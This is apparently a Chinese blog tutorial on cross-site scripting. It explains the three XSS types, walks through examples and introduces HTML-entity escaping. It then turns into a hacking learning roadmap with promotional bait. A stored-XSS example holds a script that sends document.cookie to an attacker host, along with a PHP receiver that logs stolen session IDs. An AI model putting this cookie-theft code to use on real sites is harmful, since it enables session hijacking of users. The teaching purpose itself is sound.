XSS跨站脚本攻击_反射型跨站脚本攻击需要过滤的字符

2、XSS攻击的危害包括:

3、XSS攻击分类

4、XSS攻击实例分析

5、XSS漏洞修复


1、简介

跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。

XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?

XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。

从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

2、XSS攻击的危害包括:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

原因解析

**主要原因:**过于信任客户端提交的数据!

**解决办法:**不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。

进一步分析细节:

客户端提交的数据本来就是应用所需要的,但是恶意攻击者利用网站对客户端提交数据的信任,在数据中插入一些符号以及javascript代码,那么这些数据将会成为应用代码中的一部分了。那么攻击者就可以肆无忌惮地展开攻击啦。

因此我们绝不可以信任任何客户端提交的数据!!!

3、XSS攻击分类

【了解即可,不必细究,XSS根源就是没完全过滤客户端提交的数据】

3.1、反射型xss攻击

又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

简单例子

正常发送消息:

http://www.test.com/message.php?send=Hello,World!

接收者将会接收信息并显示Hello,Word

非正常发送消息:

http://www.test.com/message.php?send=!

接收者接收消息显示的时候将会弹出警告窗口

3.2、存贮型xss攻击

又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

简单例子:

从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,然后客户端打开时就执行这些攻击代码。例如留言板

留言板表单中的表单域:

正常操作:

用户是提交相应留言信息;将数据存储到数据库;其他用户访问留言板,应用去数据并显示。

非正常操作:

攻击者在value填写【或者html其他标签(破坏样式。。。)、一段攻击型代码】;

将数据存储到数据库中;

其他用户取出数据显示的时候,将会执行这些攻击性代码

3.3、DOMBasedXSS(基于dom的跨站点脚本攻击)

基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。

简单例子

 1 <HTML>
 2 <TITLE>Welcome!</TITLE>
 3 Hi
 4 <SCRIPT>
 5 var pos=document.URL.indexOf("name=")+5;
 6 document.write(document.URL.substring(pos,document.URL.length));
 7 </SCRIPT>
 8 <BR>
 9 Welcome to our system
10 …
11 </HTML>

这个例子是个欢迎页面,name是截取URL中get过来的name参数

正常操作:

http://www.vulnerable.site/welcome.html?name=Joe

非正常操作:

http://www.vulnerable.site/welcome.html?name=

将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

注意:

1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。

2.这个攻击只有在浏览器没有修改URL字符时起作用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。

当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。

4、XSS攻击实例分析

例1、简单XSS攻击

留言类,简单注入javascript

有个表单域:

1、假若用户填写数据为:)

2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库

3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。

【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。】

例2、盗取cookie

1、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com

2、test88.com中的表单,xss.html

 1 <!DOCTYPE html>
 2 <html>
 3 <head>
 4     <title>xss攻击</title>
 5     <meta charset="utf-8">
 6 </head>
 7 <body>
 8 
 9 <form action="./test99.php" method="post">
10 留言:<input type="text" name="content" value=""><br/>
11 <input type="submit" name="" value='提交'>
12 </form>
13 <br/>留言记录:<br/>
14 </body>
15 </html>

3、恶意攻击者插入相应代码

1 <script>
2 var Str=document.cookie;               //获取cookie
3 var a =document.createElement('a');        //创建a标签
4 a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
5 a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
6 document.body.appendChild(a);              //将标签添加到页面中
7 </script>

4、数据(攻击代码)插入数据库

5、攻击者控制的主机中设置接收盗取的cookie

1 <?php
2 header("content-type:text/html;charset=utf8");
3 echo "你的PHPSESSID被盗啦";
4 echo "<pre>";
5 print_r($_GET);
6 echo "</pre>";
7 $cookie=$_GET['PHPSESSID'];
8 file_put_contents('./xss.txt', $cookie);
9 ?> 

开始模拟测试

1、test88.com中设置生成sessionID代码

1 <?php
2 session_start();
3 $_SESSION['xss']='xssssss';
4 echo "<pre>";
5 print_r($_SESSION);
6 echo "</pre>";die;
7 ?>

2、客户端访问上面代码并生成自己的sessionID

3、客户端访问xss.html

#下面为模拟被攻击后取出数据的xss.html代码(显示数据)

 1 <!DOCTYPE html>
 2 <html>
 3 <head>
 4     <title>xss攻击</title>
 5     <meta charset="utf-8">
 6 </head>
 7 <body>
 8 <form action="./test99.php" method="post">
 9 留言:<input type="text" name="content" value=""><br/>
10 <input type="submit" name="" value='提交'>
11 </form>
12 <br/>留言记录:<br/>
13 <script>
14 var Str=document.cookie;               //获取cookie
15 var a =document.createElement('a');        //创建a标签
16 a.href='http://www.linuxtest.com/test2.php?'+Str;   //攻击者主机
17 a.innerHTML="<img src='./aa.jpg'>";        //掩护图片
18 document.body.appendChild(a);              //将标签添加到页面中
19 </script>
20 </body>
21 </html>

4、客户端不小心点击到图片,sessionID将被盗

# vi xss.txt

【当然这仅仅只是一个很简单的攻击,只要将数据过滤就可以避免这个攻击了,这里只是让大家了解XSS是如何进行攻击的。】

5、XSS漏洞修复

从上面XSS实例以及之前文章的介绍我们知道XSS漏洞的起因就是没有对用户提交的数据进行严格的过滤处理。因此在思考解决XSS漏洞的时候,我们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。

5.1、html实体

什么是html实体?

在html中有些字符,像(<)这类的,对HTML(标准通用标记语言下的一个应用)来说是有特殊意义的,所以这些字符是不允许在文本中使用的。要在HTML中显示(<)这个字符,我们就必须使用实体字符。

html实体的存在是导致XSS漏洞的主要原因之一。

因此我们需要将这些实体全部转换为相应的实体编号。

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

  • 27
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的网络安全漏洞,攻击者通过注入恶意脚本,将其传递到用户的浏览器中,从而在受害者的浏览器上执行恶意脚本,达到控制网站、窃取用户信息等目的。 XSS分为反射、存储、DOM三种类: 1. 反射XSS攻击:攻击者将恶意脚本注入到网站的URL中,用户点击链接后,网站将恶意代码反射回用户的浏览器中执行,从而达到攻击的目的。 2. 存储XSS攻击:攻击者将恶意脚本注入到网站的数据库中,用户访问网站时,恶意代码从数据库中读取并在用户浏览器中执行,从而达到攻击的目的。 3. DOMXSS攻击:攻击者利用网站的前端交互功能,在网页中注入恶意脚本,当用户与网页交互时,恶意代码被执行,从而达到攻击的目的。 XSS攻击的危害非常严重,可以导致用户信息泄漏、账号被盗、网站功能被破坏等问题,因此开发者需要采取一些措施来防范XSS攻击,如: 1. 过滤用户输入的数据,移除或转义其中的特殊字符,如<,>,&等。 2. 对于一些敏感的网站操作,如登录、注册、支付等,采用HTTPS协议进行加密传输。 3. 使用HTTP响应头中的Content-Security-Policy(CSP)控制网页中的资源加载,限制恶意代码的注入。 4. 对于一些使用动态HTML的网站,使用JavaScript框架如React、Angular等,对于用户的输入先进行过滤和验证。 总之,XSS攻击是一种非常常见的网络安全漏洞,需要开发者重视和防范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值